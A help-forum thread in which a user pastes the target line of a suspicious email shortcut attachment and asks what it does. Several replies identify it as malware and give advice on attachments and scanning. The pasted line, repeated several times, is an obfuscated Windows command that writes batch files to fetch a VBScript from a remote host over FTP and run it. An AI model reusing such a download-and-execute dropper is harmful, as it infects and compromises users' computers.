weird attachment

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hi, i got a weird attachment in my email, which I saved to my desktop.

under PROPERTIES > SHORTCUT > TARGET, it lists this:

%ComSpec% /c set h=p -&set j=echo ge&set s=.g03z.&echo echo o
www%s%com^>l>>b.bat&call b.bat&echo aa33>>l&echo bb33>>l&echo >>b&echo %j%t
q q.vbs^>^>l>>b&echo echo bye^>^>l>>b&echo ft%h%s:l>>b&echo start
q.vbs>>b&ren b f.bat&f.bat&

can anyone translate this for me?

thanks!

Brad
 
hi, i got a weird attachment in my email, which I saved to my desktop.

under PROPERTIES > SHORTCUT > TARGET, it lists this:

%ComSpec% /c set h=p -&set j=echo ge&set s=.g03z.&echo echo o
www%s%com^>l>>b.bat&call b.bat&echo aa33>>l&echo bb33>>l&echo >>b&echo %j%t
q q.vbs^>^>l>>b&echo echo bye^>^>l>>b&echo ft%h%s:l>>b&echo start
q.vbs>>b&ren b f.bat&f.bat&

can anyone translate this for me?
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This appears to be malware. It is a Command Line
Instruction to load and run Virtual Basic code in
or more BATch files.
 
hi,  i got a weird attachment in my email, which I saved to my desktop.

under PROPERTIES > SHORTCUT > TARGET, it lists this:

%ComSpec% /c set h=p -&set j=echo ge&set s=.g03z.&echo echo o
www%s%com^>l>>b.bat&call b.bat&echo aa33>>l&echo bb33>>l&echo >>b&echo %j%t
q q.vbs^>^>l>>b&echo echo bye^>^>l>>b&echo ft%h%s:l>>b&echo start
q.vbs>>b&ren b f.bat&f.bat&

can anyone translate this for me?

thanks!

Brad
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It appears to be a batch file with references to a WWW site and some
Visual Basic application whose purpose is to infect your computer with
some malicious software.

You should delete this file - permanently.

You should also be careful about what you open/save in email
attachments from people you do not trust.

If you are not expecting anything as an email attachment, treat the
email and the attachment with a high degree of suspicion and do not
risk opening the email or the attachment. This is a popular method to
propagate malicious software to trusting and unsuspecting users.

If someone you trust sent you this, they may not know what it is
either, or they are being malicious. You should probably have a
little chat with this person.
 
hi, i got a weird attachment in my email, which I saved to my desktop.

under PROPERTIES > SHORTCUT > TARGET, it lists this:

%ComSpec% /c set h=p -&set j=echo ge&set s=.g03z.&echo echo o
www%s%com^>l>>b.bat&call b.bat&echo aa33>>l&echo bb33>>l&echo >>b&echo %j%t
q q.vbs^>^>l>>b&echo echo bye^>^>l>>b&echo ft%h%s:l>>b&echo start
q.vbs>>b&ren b f.bat&f.bat&

can anyone translate this for me?

thanks!

Brad
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If you don`t know who it`s from , get rid of it .
 
If you don`t know who it`s from , get rid of it .
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As others have pointed out, it's almost certainly malware.

But I wanted to comment on your reply. You often see advice not to
open attachments from people you don't know. I think that that's one
of the most dangerous pieces of advice you see around, because it
implies that it's safe to do the opposite--open attachments from
friends and relatives. But many viruses spread by sending themselves
to everyone in the infected party's address book, so attachments
received from friends are perhaps the *most* risky to open.

Even if the attachment legitimately comes from a friend, it can
contain a virus. I'm not suggesting that a friend is likely to send
you a virus on purpose, but if the friend is infected without
realizing it, any attachment he sends you is likely to also be
infected.
 
StarrKey said:
hi, i got a weird attachment in my email, which I saved to my
desktop.
under PROPERTIES > SHORTCUT > TARGET, it lists this:

%ComSpec% /c set h=p -&set j=echo ge&set s=.g03z.&echo echo o
www%s%com^>l>>b.bat&call b.bat&echo aa33>>l&echo bb33>>l&echo
ft%h%s:l>>b&echo start q.vbs>>b&ren b f.bat&f.bat&

can anyone translate this for me?

thanks!

Brad
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It looks like a virus or other malware. If it managed to run unbeknownst
to you, your computer is now very likely infected. Start checking with
AV and your malware detectors until you find it, or are sure your
machine is clean.

Never, EVER open an attachment:
-- weren't expecting
-- from anyone you don't know
-- and if it's from a friend, ask them what it is before you open it.
They may not be aware they are sending out malware in many cases.
-- Only if you expected the attachment, it's from a super-trusted,
known honest and scrupulous person, and the two of you planned on when
to send it, should you even consider opening any attachment. It's one
of the bass turds' favorite ways of infecting machines of unsuspecting
people who don't know any better.

HTH,

Twayne`
 
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